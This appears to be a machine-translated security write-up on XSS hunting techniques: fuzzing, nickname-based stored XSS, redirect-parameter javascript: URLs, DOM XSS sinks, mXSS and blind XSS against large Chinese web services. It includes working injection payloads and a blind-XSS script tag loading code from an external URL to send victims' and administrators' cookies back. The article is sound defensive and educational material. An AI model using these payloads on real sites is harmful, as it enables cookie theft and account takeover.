The author | Zhang Zuyou (Fooying) @ cloud tripod laboratory

XSS vulnerability mining is actually a process of constantly testing, adjusting and testing with Payload. This process is called Fuzzing. Similarly, Fuzzing, some people dig holes more efficiently, while others are not so easy to dig holes. In addition to mastering the technology, such as coding bypass processing, it also contains some technical things. Mastering some skills and rules can make digging holes more leisurely.

XSS should be a Web vulnerability type with the largest number of vulnerabilities I have dug. Accumulated, there should be at least more than 100 XSS of Domestic Internet companies such as BAT, Kingsoft, Sina and NetEase. This article is mainly based on some of their own experience with everyone to discuss some techniques of XSS Fuzzing coding bypass, processing and other technical factors.

Fuzzing (fuzzy testing) is one of the most common methods to exploit vulnerabilities, not just XSS, it should be said that Fuzzing can be used for most types of vulnerability mining. Colloquially, this approach can be understood as a process of trial and error.

XSS Fuzzing process







This is a flow chart of XSS detection plug-in in a common Web miss scan. The key points are as follows:

  1. Detection input point
  2. Detection of potential injection points
  3. Generated content
  4. Payload Attack Verification

Checking the input point is actually looking for the data entry, such as GET/POST data, or the UA/Referer/Cookie in the Header, or the URL path, etc., which can be the input entry, which can be translated into more graphic terms, such as seeing a search box, You might submit a keyword for a search in the search box, and there might be a GET or POST request, which is essentially an input point.

The second is the detection of potential injection points. The detection of potential injection is to judge whether the input points can successfully inject data into the page content. It is unnecessary to Fuzzing the input points that submit data content but do not output it to the page, because XSS will not be generated even if the attack code can be submitted. Detection at the potential injection point usually uses a random string, such as random 6 digits, and then determines whether the 6 digits are returned to the output on the page, so as to make judgment. Why don’t you just use Payload? Because the Payload contains attack codes, many applications have firewalls or filtering mechanisms. Keywords in the Payload will be intercepted and the submission will fail or the output will not be returned to the page. However, this does not mean that XSS cannot be implemented because the Payload is not good enough to bypass filtering or other security mechanisms. Therefore, harmless random numeric characters can be used to avoid this situation. First verify that it can be injected, and then adjust the Payload to bypass the filter. The random purpose is not to want fixed characters to become key words in the XSS defense blacklist.

Secondly, it is the process of generating Payload and verifying the attack. The Payload determines whether the attack can succeed. For different injection points, the Payload used is different. For example, the Payload used for the injection location is in the tag attribute or tag event.

In the tag attributes:<a href="Injection location">test</a>Content: "></a><script>alert(0)</script><a  href=a.jpg" onload="Injection location">Content: alert (0)Copy the code

In fact, the generation of Payload is a process of constant Fuzzing and adjustment. It is constantly adjusted and submitted for testing according to the structure and content of the code injected into the location context, and the application of filtering mechanism. The following figure shows the generation process of Payload.

If Fuzzing succeeds after a certain Payload adjustment, XSS is injected successfully and the PoC of this vulnerability is obtained.

Why introduce the scanner’s normal XSS detection at the beginning? Because manual Fuzzing XSS is also a process, many security tools automate manual processes.

Let’s get down to business and explore some XSS mining techniques.

Different nicknames

This is a storage XSS of wechat web version. The injection point is the location of wechat nickname (right picture). XSS can be triggered by accessing the wechat group member list to cause a pop box.

This is a Wechat Spring Festival shake XSS activity (here is effective < H1 >), through wechat to visit the activity page, automatic authorization to obtain wechat nickname and automatically displayed in the activity page, then wechat nickname is: < H1 > Zhang Zuyou (Fooying)”; Alert (0)//, the nickname display becomes larger because

is in effect.

This is still the active page of a product of Tencent, and the nickname is automatically obtained by clicking on wechat and then displayed on the active page. The page link in this screenshot is actually: http://tdf.qq.com/mobile/index2.html?name= Click draw &type=share&from= Timeline&isappinstalled =1 Click on the lottery )

Look at a few bugs, and then give you a look at my previous QQ nickname and wechat nickname:







The nickname on the right is < H1 > Fooying “; / / alert (0).

Looking at the examples above, I think you can already see that the previous several XSS are basically through the location of the nickname to submit the attack code to lead to the creation of XSS, which is actually a kind of PASSIVE XSS mining technique. Holes dug actually, especially the XSS, sometimes is to rely on active digging, but more of time can also be found in a passive way, especially similar to QQ, WeChat this number one multi-purpose, can imagine your WeChat QQ pet name or nickname, signature, etc., in different applications, web login, your nickname will be displayed in different places, These nicknames in wechat, QQ itself will not cause problems, but to other pages? That may lead to problems.

Of course, now wechat should not be allowed to set nicknames containing special characters, and QQ you can also see that the Angle brackets were escaped, but before this, just wechat nicknames, through this way, I at least found Tencent and non-Tencent activities in the circle of friends no less than 20 XSS.

Rules in url jump

This is a 13 year submission of Tencent Cloud login jump to XSS.

Some time ago, Lei Feng website did an interview with me, and this article was also posted on KM. I don’t know if you have seen a detail in it, which tells me that I dug a hole to collect dolls in order to make my girlfriend happy. Actually, I dug more than ten holes in two days, and all of them were XSS. I can remember YY, 4399, Sohu Changyou and so on. In fact, I found a rule at that time. The XSS of Tencent Cloud in the figure above also belongs to this rule, so I put it forward specifically.

Login and registration is the most essential function of website, and don’t know if you have noticed a detail, when you need them in the condition of not login access some state need to log in to the page, such as personal center, he will automatically jump to login or register page requires you to log in, and this time the login URL will actually carry a redirect URL, This is to facilitate your login to directly jump to the page you originally visited, is a better user experience design.

When using such a function, I tried directly, directly changed the redirect URL to my blog link, and then logged in, and found that it could directly redirect to my blog, so I tried javascript%3Aalert(0), and found that the JS code could be directly executed and a box popped. In fact, the design of this function was originally for the jump within the site, but due to the defect of functional design, there was no judgment on the jump URL or there was a problem in judgment, so it could directly jump to other websites or generate XSS. Of course, it’s not just logins, it’s registration as well. At that time, I tested many websites and found that many websites had such problems, so I was able to dig the loopholes of different websites to collect dolls, just using the same problem.

http://www.xxx.com/login?url=xxx
http://www.xxx.com/reg?url=xxx
Copy the code

The overall testing process looks like this:

The secret in # #

This is a DOM XSS of Tencent cloud official website before

This is a DOM XSS from the official website of wechat overseas edition

This is a DOM XSS in the ent.qq.com domain before, which should realize a function of page access source statistics, splicing the referer to the URL and initiating a GET request through img loading to send access source URL to the server. Hackers can construct address for http://www.0xsafe.com “onerror =” alert (0) of the page, click on the links to jump to http://datalib.ent.qq.com/tv/3362/detail.shtml, you can trigger the XSS.

This is the DOM XSS of igame.qq.com, a game that was submitted earlier. The XSS of this game happened to save JS at that time, as follows: read window.location and write it to the tag code with ID output, resulting in XSS.

<script language="JavaScript">
    document.domain="qq.com";
    function pageLoaded(){
        window.parent.dhtmlHistory.iframeLoaded(window.location);    
        document.getElementById("output").innerHTML = window.location;
    }
</script>
Copy the code

This kind of XSS is DOM XSS. DOM XSS is different from other types of XSS. XSS is generated because JS codes in the page modify the DOM tree of the page by reading the URL and other contents after the page rendering is completed.

In fact, it is not difficult to find that this kind of XSS has some tricks in most cases. For example, you can find that the # exists in the URL (DOM XSS does not have to exist in the URL, but it is more common). If you see a # in a url, you can just change the content after # and Fuzzing it. Of course not, it is also necessary to determine whether the JS code in the source code of the page and the JS file referenced by the page exist in the use of the following content, whether there is no filtering or incomplete filtering of the following content directly into the DOM tree.

document.location/location
document.URL
document.URLUnencoded
deddocument.referrer
window.location
Copy the code

The changed content

Once the above situation exists, there is a high probability of DOM XSS, and the next step is to see if we can bypass the relevant filtering and security mechanisms.

This is an XSS previously dug for a web preview feature that existed in previous PC versions of QQ; Sharing an article in a chat window and then clicking on the link opens a page showing the content of the article on the right, which results in XSS.

Why does XSS exist in the client? In fact, many clients, including many mobile phone apps, realize many functions through embedded web pages, so that is why there are front-end problems such as XSS. These pages can be found by setting up proxies.

This is an article published in blogosphere, which contains some XSS attack code, but it can be found that the code has been escaped in blogosphere itself, and can not generate XSS.

When the article is previewed in QQ, it can be found that the escaped attack code is escaped back (because this function only needs to display text content, and delete some unnecessary page frame and content display, so there are some transcoding operations on the content), resulting in the effective of the attack code. Hence the XSS (actually called mXSS, mutant XSS).

This is an article published on the wechat official account, which contains some attack codes of XSS blind beating (which will be introduced later). Then it can be seen that the codes in the wechat official account article have been escaped, and XSS cannot be generated effectively.

Chuansong. Me is a third-party website that will proactively collect some articles on the wechat official account and generate access links and indexes. It can be seen that after the same article is collected and reproduced by the portal, the code that would have been escaped directly takes effect, thus becoming the stored XSS. We can also see cookies that are collected and sent to the blind platform when other users visit this article.

In some cases, escaped content can become effective attack code, and XSS attacks can also occur by controlling the source.

Random XSS blind typing

This is a screenshot of one of the results of my XSS blind platform project. Each item here contains the Cookie of the user accessing the corresponding URL, and the Cookie can be used to directly log in to the corresponding address. There are cookies in the background of several websites such as 360 SOSO, 360 game customer service and Sina mailbox in the picture. Unfortunately, due to access restrictions on these platforms, the Internet cannot be accessed or logged in.

Setting aside the problem of not being accessible, how did this information come about? XSS blind to play.

The conventional XSS attack is to judge whether the XSS attack is successful by the effectiveness of THE JS attack code in the returned content of the page. For some web page features, such as feedback, we can find that no matter what content you submit, the content of the return is “thank you for your feedback” similar statements, will not according to your submitted content and display different content on the page, for such content submitted, cannot inject success through feedback whether attack code page, Then you can play blind through XSS.

XSS blind play is usually through the XSS blind play platform, the project is set up on the XSS blind play platform, will generate the project attack link, in fact, is a similar to the JS file access link, this JS file contains at least one function, that is to send the blind play platform GET/POST request to transfer data back, such as cookies, in this case, Once the attack code similar to that submitted on the feedback page takes effect, it means that JS code is executed, and data will be returned to the blind platform, which means that the attack is successful; If no data is ever returned, it indicates that the attack code submitted was not executed or executed incorrectly, which proves that the attack failed.

Blind platform projects:

For me, I can’t resist submitting blind code when I see a submission site like the one below

</textarea>'" ><script src=http://t.cn/R6qRcps></script>
Copy the code

Something like this, if XSS exists, where and when does it attack the code? When the manager reviews these contents in the background, it is generally said that if XSS blind typing is successful, it can often obtain the address of the corresponding function management background and the Cookie of the administrator. If the management background does not have access restrictions, it can log in with the Cookie of the corresponding administrator.

This is the background address and Cookie (currently invalid and fixed) successfully obtained by blind dialing of tourist clothing center.

conclusion

In the XSS world there are many Fuzzing tricks and methods, learning to detect attacks from normal functions, in the Web security world, in addition to technology, also requires dirty thinking and skill.

In addition, in fact, everyone is not hard to find, whether it’s nickname, url jump, or the change of the content of the articles mentioned escape, when a lot of content of the original place will not trigger XSS, while content elsewhere after use will trigger the XSS, so for developers, whether it is from where the content of the mechanism should have its own filtering, And can not completely trust, in fact, the summary of a word is: any input is harmful!